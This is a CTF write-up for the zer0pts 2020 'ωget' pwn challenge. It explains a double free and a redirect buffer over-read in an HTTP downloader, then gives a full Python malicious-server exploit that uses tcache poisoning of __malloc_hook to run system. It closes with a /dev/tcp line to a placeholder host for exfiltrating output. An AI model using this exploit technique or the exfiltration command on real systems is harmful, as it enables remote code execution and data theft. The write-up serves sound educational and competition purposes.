# [zer0pts CTF 2020] ωget ###### tags: `zer0pts CTF` `pwn` ## Overview We're given an ELF, libc and 3 source codes. ``` $ checksec -f omega_get RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 92 Symbols Yes 0 12 omega_get ``` The libc version is 2.27 and all security systems are enable. Moreover, we need to pwn the server just by passing a URL to the web interface. In this service, the URL is passed as a first argument of `omega_get`, which will download the HTML and prints it. ## Solution ### Vulnerability `download_file` function has a vulnerability. If `Content-Length` is included in the response header, it allocates a buffer to store the html code. On the other hand, if `Location` is included, it frees `html` because it's no longer necessary for redirect. It doesn't set NULL to `html`, which will cause **double free** if multiple `Location` tags are included in the response header. ### Bug Not to say a vulnearbility, there's a bug in `download_file`. When `Location` comes, it copies the new path or URL in this way: ```c redirect = malloc(strlen(value) + 1); memcpy(redirect, value, strlen(value)); ``` If leftover is in the region allocated by malloc, `redirect` can be `value||blahblah`. We use this to leak the libc address. ### libc leak We need libc leak as PIE and ASLR are enabled. We allocate a chunk larger than 0x420 as HTML and leak the libc address left after freeing it. After the chunk is linked to unsorted bin, passing a path like `/1234567` in Location will overwrite the first 8 bytes and will query the URL including the libc address. ### tcache poisoning After getting the libc address, we just need to do **tcache poisoning** by double free. However, we have 2 problems here: - The malloced size is the length of the address we write to `fd` as it uses `strlen` - The data to write must begin with `/` or `http://` The first problem can be solve by double-freeing the smallest chunks. The second problem may be solved by overlapping chunks, but we take an easier way. In libc 2.27 `__malloc_hook` exists at 0x7f...30. On the other hand, since the ascii code of `/` is 0x2f, we can point fd to right before `__malloc_hook`. Moreover, `/` will be written at 0x2f and thus we can control the following 8 bytes! (==`__malloc_hook`) ### arbitrary code execution Calling `/bin/sh` will not help in this case. We need to run arbitrary code by `system`. At first glance it's impossible to pass an argument because we're using `__malloc_hook`. However, as the size read by `Content-Length` is long-typed, we can set very large value there, such as the address of heap. ### heap leak In order to pass the command prepared on the heap, we leak the heap address first. The way to leak the heap address is same as that of libc. ## exploit Final exploit: tested on `127.0.0.1` (`heap_delta` must be changed. If the server IP is `XXX.XXX.XX.XX`, for example, `cmd_delta` must be 0x911.) ```python from ptrlib import * import contextlib import socket HOST, PORT = '127.0.0.1', 10080 BASE = 'http://{}:{}'.format(HOST, PORT) PATH_0 = '/' PATH_1 = '/' + '0' * 0x1f PATH_B = '/' + 'B' * 7 PATH_C = '/' + 'C' * 0x1f libc_base, heap_base = None, None heap_delta = 0x52f cmd_delta = 0x8e1 # cmd length must be larger than 0x18 cmd = b'ls -lha' cmd += b' ' * 0x20 def exploit(sock, path): global libc_base global heap_base payload = b'HTTP/1.1 OK 200\r\n' print(path) if path == PATH_0: """ 1-1) double free prepare heap address """ payload += str2bytes('Content-Length: {}\r\n'.format(0x40)) # make sure [0x55...2f] == NULL payload += str2bytes('Content-Length: {}\r\n'.format(0x10)) payload += str2bytes('Location: {}\r\n'.format(PATH_1)) * 3 payload += b'\r\n' elif path == PATH_1: """ 1-2) heap leak use buffer overread in redirect to leak heap address """ payload += str2bytes('Location: /\r\n') payload += str2bytes('Content-Length: {}\r\n'.format(0x10)) payload += b'\r\n' elif path.startswith(PATH_B): libc_base = u64(str2bytes(path)[8:]) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) """ 2-2) double free double free html """ payload += str2bytes('Content-Length: {}\r\n'.format(0x10)) payload += str2bytes('Location: {}\r\n'.format(PATH_C)) * 3 payload += b'\r\n' elif path == PATH_C: """ 2-3) tcache poisoning overwrite fd to __malloc_hook and write one gadget since __malloc_hook is located at 0x7f...30, we can make fd point to 0x7f...2f ('/'==0x2f) also the first one byte can be '/' followed by one gadget address """ malloc_hook = libc_base + libc.symbol('__malloc_hook') system = libc_base + libc.symbol('system') addr_cmd = heap_base + cmd_delta payload += b'Location: /' + cmd + b'\r\n' payload += b'Location: /' + p64(malloc_hook)[1:] + b'\r\n' payload += b'Location: /dummy\r\n' payload += b'Location: /' + p64(system) + b'\r\n' payload += str2bytes('Content-Length: {}\r\n'.format(addr_cmd - 1)) payload += b'\r\n' elif path.startswith('/'): heap_base = u64(path) - heap_delta logger.info("heap = " + hex(heap_base)) """ 2-1) libc leak allocate and free html use buffer overread in redirect to leak libc address """ payload += str2bytes('Content-Length: {}\r\n'.format(0x420)) payload += str2bytes('Location: /{}\r\n'.format('W'*0x30)) payload += str2bytes('Content-Length: {}\r\n'.format(0x10)) * 3 payload += str2bytes('Location: {}\r\n'.format(PATH_B)) payload += b'\r\n' sock.send(payload) return if __name__ == '__main__': libc = ELF("../distfiles/libc-2.27.so") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) with contextlib.closing(sock): sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((HOST, PORT)) sock.listen(1) while True: client, addr = sock.accept() with contextlib.closing(client): path = client.recv(4096).split()[1] exploit(client, bytes2str(path)) ``` Yay! We get arbitrary code executions! ``` $ ./omega_get http://127.0.0.1:10080/ 合計 2.0M drwxrwxr-x 2 ptr ptr 4.0K 1月 9 23:31 . drwxrwxr-x 5 ptr ptr 4.0K 1月 4 10:44 .. -rw------- 1 ptr ptr 3.9K 1月 9 23:31 .gdb_history -rwxr-xr-x 1 ptr ptr 2.0M 1月 9 14:37 libc-2.27.so -rwxrwxr-x 1 ptr ptr 14K 1月 9 22:04 omega_get [ABORT] Memory error ``` We can leak flag by executing something like `bash -c "ls > /dev/tcp/XXXX/YYYY"`.